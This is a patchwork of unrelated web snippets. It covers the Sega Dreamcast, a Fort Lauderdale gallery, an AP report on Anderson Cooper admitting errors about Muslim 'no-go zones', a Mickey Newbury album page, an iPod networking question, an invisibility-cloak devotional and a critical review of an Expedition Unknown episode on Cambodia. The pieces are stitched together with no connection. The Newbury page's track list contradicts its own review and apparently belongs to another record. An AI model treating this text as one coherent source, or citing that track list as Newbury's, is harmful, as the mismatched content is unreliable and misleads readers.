Even though the Dreamcast was a sixth generation game console, many of it's components and characteristics can still be seen on other consoles today. According to some, the Xbox console was inspired from the Sega Dreamcast. Online game play was also one of the key features that Dreamcast started. In the end, the Dreamcast cost Sega almost $500 million in losses. On paper, the Dreamcast will go down as a loser from a business perspective. Fortunately, from a gamers perspective, the Dreamcast may very well be the greatest console of all time!
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ArtsUP in Fort Lauderdale: New FAT Village Gallery Doubles as an Event Space
Tuesday, April 12, 2016 at 8:05 a.m. by Andrea Richard
ArtsUP is the latest addition to the increasingly popular FAT Village in downtown Fort Lauderdale. This unique gallery brings high-quality art installations to a new level — specifically, the level that starts at 12 feet overhead an...


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CNN's Cooper says he was mistaken on Muslim zones
Anderson Cooper through the years
CNN's Cooper says he was mistaken on Muslim zones
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NEW YORK (AP) - CNN has joined Fox News Channel in saying that it was mistaken to report in the wake of an attack on the French newspaper Charlie Hebdo that there were neighborhoods in Europe considered "no go" zones for non-Muslims.
Fox apologized over the weekend for on-air comments made by pundits, including one who described the English city of Birmingham as "totally Muslim." In an interview with CNN's Christiane Amanpour, Paris Mayor Anne Hidalgo threatened to sue Fox over comments made about her city.
On Monday, CNN's Anderson Cooper aired a story on his program about what Fox had said. But The Washington Post subsequently pointed out the supposed "no go" zones were talked about on CNN the previous week - including on Cooper's program. Cooper even used one analyst's comments about Muslim-dominated areas as the basis for a question he put to another guest.
"If you are going to point fingers at other people's mistakes, you should also acknowledge your own mistakes and we didn't do that on the program," Cooper said on the air Wednesday night.
Cooper noted that he did not challenge his guests.
"I should have been more skeptical," he said. "Won't make the same mistake again."
CNN representatives did not have an immediate comment on whether other CNN shows would address the issue. The network went back and checked its transcripts when attention was called to its own lapses.
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Mickey Newbury - Lulled by the Moonlight (Music CD)
Release Date: 05 November 2012
Artist: Mickey Newbury
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In 1994, Mickey Newbury gave his patient fans hope by releasing the live album Nights When I Am Sane, his first recording of any kind in six years and his first to contain any new material in 13 years. Two years later, he answered their prayers with Lulled By the Moonlight, his first new studio album consisting primarily of new material since 1981's After All These Years. Put out on his own record label, it was a typically eccentric effort. Always fond of recycling his own work, Newbury borrowed the track "Blue Sky Shining" from his 1979 album The Sailor as well as musical interludes from LPs dating back to 1969's Looks Like Rain; re-recorded "The Future Is Not What It Used to Be," which had first appeared on his 1971 album 'Frisco Mabel Joy; and included studio recordings of three of the four new songs that had appeared on Nights When I Am Sane. He also turned over one entire track on the album to Toni Jolene Clay, who co-wrote (with J. Weatherly), sang, played piano on, and produced "Silver Moon" with no apparent input from him. All those digressions, however, still left room on a 73-minute CD for 11 new (or at least previously unrecorded) Newbury compositions. The songwriter dedicated the album to Stephen Foster, with whom he must identify. Foster was the first man to become well-known as a songwriter, and he came up with material that has been absorbed into American popular music. Newbury, who has always shown a fondness for 19th century song styles, began this comeback collection with "Three Bells for Stephen," asking, "Do you remember me, dear hearts and gentle people?" His new songs were full of backward glances over a long life and were tinged with regret, which was a typical stance for him. But he could also be surprising. "Captured in Blue" was a doo wop love song on which his voice was reminiscent of fellow East Texan Don Henley, for example, while "Just Another Lovely Day" was a light, jazzy number, and "Freight Train Howlin'" a rocker. More characteristic were songs, like "Shades of '63" and "Time Was," that reflected philosophically on the past. Lulled By the Moonlight was not a masterpiece, which necessarily made it a disappointment given the high standard of the artist's best work, but it demonstrated that he continued to ply his craft a decade and a half after he had given up on a full-time performing career, and that was encouraging. ~ William Ruhlmann
Release Date: 05 November 2012
Artist: Mickey Newbury
1. Pissed Off And Slight Offended!
2. March of The Swan Elite
3. Cult Of The New Beat
4. Death To All But Us!
5. Wolves At The Door
6. High Five For Life
7. Here Next To Murderous
8. True North
9. Corpse Reviver
10. Oceans Inside Neptune
11. Funeral Beach
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Catalogue No: MR69052


text: Here's a strange one: I have three iPod Touches, and two of them connect to my netgear router just fine. The newest one, a 3G, will connect, but only receives a private (169.) IP address, and therefore cant access the Internet. All three touches are running firmware 3.12 with DHCP This iPod WILL however connect to the neightbour's Netgear router no problem. There's no Mac address filtering or anything else peculiar in the config of my router, but it just won't give the new device a proper IP address. Any ideas?


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Cloaking devices or covers that make objects invisible are common in science fiction. In the real world, it's not so easy to do, but scientists say they have tested a device that could make invisibility a reality. Researchers said they successfully tested thin invisibility cloak made of microscopic rectangular gold blocks. These blocks conform to the shape of an object and make it invisible using regular light. The cloak wrapped around a three-dimensional object shaped with bumps and dents. The surface rerouted light waves scattered from the object and made it impossible to see. Though the object used in the test was very small, the researchers think it would be possible to make the technology work on a larger scale. The study's lead author said, "The fact that we can make a curved surface appear flat also means that we can make it look like anything else. We also can make a flat surface appear curved."—Jim L. Wilson and Jim Sandell.
Now you see it, now you don't: invisibility cloak nears reality, By Will Dunham,
http://news.yahoo.com/now-see-now-dont-invisibility-cloak-nears-reality-010435775.html, September 17, 2015.
Hebrews 11:1 (HCSB) Now faith is the reality of what is hoped for, the proof of what is not seen.


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This highly topical course provides an interesting introduction to the political institutions and policy making of the European Union (EU).
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Arriving in Cambodia, Gates eats a bug and tells us that Phnom Penh is extremely hot. He gives us a potted history of the Khmer Rouge and their atrocities. Gates is moved by memorials to the dead, and the camera captures him overcome with emotion after viewing pictures of children who were later killed by the communist government. He then tells us that "everywhere you look life is returning to normal," which is a bit of an odd claim since the Khmer Rouge period was forty years ago (1975-1979), and I'm not sure what "normal" would have been in the preceding brief Khmer Republic or the earlier monarchy or French colonial periods. After the Khmer Rouge period, Cambodia was occupied by Vietnam for a decade and then restored its monarchy, though it remains a de facto communist one-party state run by the party of the Khmer Rouge, the Cambodian People's Party.
Gates drives out into rural Cambodia and tells us that the way of life in the countryside is much the same as it was a thousand years ago. This apparently includes the road construction crews that stop him from traveling in any way other than through an open-air local train car known as the Bamboo Railroad. The segment ends with Gates speeding headlong into an oncoming train car going in the opposite direction on a rusty old track. I can't help but think that the scene was staged to recall the famous mining cart scene in Temple of Doom, since there is no way he just happened to choose to abandon his SUV for a wacky trip on a crazy train with camera crew staged and ready.
Anyway, with the crisis averted, Gates meets with an informant who tells him that tomb raiders and looters are taking statues from the lost city and selling them for more than $10,000. It's a horrible fact, but an undeniable one: The antiquities trade is insatiable.
Gates switches from the rickety old train to a series of rickety boats to reach Siem Reap, the city serving the Angkor region and the hub for tourism to the Angkor area. As a major tourism hub, one does not need to take an open train car or a rickety schooner to reach the city. It's less than 7 km from the Siem Reap-Angkor International Airport, which Gates could have flown into easily, as millions of tourists have done and continue to do. It is Cambodia's busiest airport. There is also a bus that travels to the city from Phnom Penh. Gates's presentation is designed to heighten the drama of his travels and cast him as an adventurer, but by leaving out the airport it also contributes to the image of Cambodia as a backward, inferior place trapped in history, an image reinforced by the subsequent segment in which Gates goes hunting for land mines with a mine clearing crew, reminding viewers once again that Cambodia is a poor, primitive land full of reminders of barbaric violence. But on the plus side, Gates gets to blow up a land mine.
As we hit the halfway point, Gates explains a bit about the connection between Jayavarman II and his successors, particularly their gradual creation of Angkor Wat and its surrounding temples. Gates takes a helicopter in search of the Phnom Kulen, the holy mountain, and the ruins of the city of Jayavarman II. Here is probably as good a place as any to stop and note that the lingam (or linga) stone was the symbol of Jayavarman II, a Hindu monarch who took Shiva as his tutelary deity, just as it was for earlier kings, like Pushkaraksha, who raised the first royal lingam in 716. (The neighboring Champa culture, under Bhadravarman, had had royal lingam stones since the fourth century—the oldest in Indochina.) Jayavarman II instituted a cult of lingam worship designed to reinforce the connection between the people, the king, and Shiva. One of his lingam stones is in the collection of a museum in Australia, though oddly we never actually see one on Expedition Unknown despite them being well known. The lingam would continue to be a symbol of the Khmer monarchs for several centuries, until Jayavarman IV universalized the lingam in the 930s, making it no longer the personal symbol of the king but of the monarchy as an institution. His successor built a pyramid-temple to worship the royal lingam housed within. A later monarch, Udayadityavarman II, built a still larger pyramid to worship the lingam, one as big as the still-extant Angkor Thom.
Anyway, when Gates makes it to the lost city of Mahendraparvata, he admits that the ruins have been known since the 1930s, so it isn't so much a "newly" discovered city as one that only recently has received modern archaeological attention because of the use of modern technology to map the ruins beneath the jungle canopy. Gates meets with an archaeology crew working on the city, excavating what they believe was Jayavarman II's royal compound. For a while Gates and the archaeologists discuss the excavation of the site, but little information is actually presented before Gates shouts "Scorpion!" and we cut to commercial as a black scorpion waves its pincers at a conveniently placed camera.
After another break, Gates jumps in terror at seeing the scorpion, and a local named Pick is brought in to pick up and take away the poisonous creature. The scorpion-wrangler tells Gates that he can take him to a secret location where Jayavarman once conducted ceremonies. They reach the site by motorcycle and traverse the woods with flaming torches. Gates wants to find the spot where Jayavarman worshiped the lingam, but instead they find a poisonous snake, which slithers away after posing for pictures. The men enter into a low cave and view some relief carvings which are truly impressive. Gates and Pick cross a rickety bridge that again echoes one from Indiana Jones and the Temple of Doom. (It's a theme!) And we cut to commercial.
After the break, Gates and Pick finish crossing the bridge and view a stone yoni, a vessel for holding the lingam stone. Then a thunderstorm strikes, and Gates suggests that the spirit of Jayavarman and local legends of hauntings on the mountain perhaps echo the ancient magic of the god-king. Gates leaves the mountain during the storm and spends the night with what he describes as "old Khmer Rouge soldiers" in a jungle shelter. He concludes by offering his admiration for the Cambodian people and his puzzlement over why Cambodia remains such a mystery to him. Then, because this is cable TV, he throws in some references to powerful magic that these exotic foreigners might have secretly possessed. You know, the mysteries of the East and all that.
Overall, the show is a solid enough hour of travel that does a better job of locating its target than America Unearthed, but it is light on information. I understand that the purpose of the show is about the journey rather than the destination, but there is so much more information that Gates could present to help viewers better understand the concept of the lingam, the history of the Khmer Empire, and the practical and architectural achievements of Jayavarman II, rather than some crazy half-baked notion of magic tied to a Western, almost neo-colonial view of Cambodia and the need to pay homage to Indiana Jones. The Smithsonian Channel (I believe) did a documentary on Jayavarman II a while back, and it was much stronger. Even given the different purpose of this show, it wouldn't hurt Gates to add a little more educational value to offset the gawking and theatrics.


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My two sons found a friend to build sand castles with. They actually ended up just digging holes but that is part of the fun.
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Includes foam padded costume.
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The Monster
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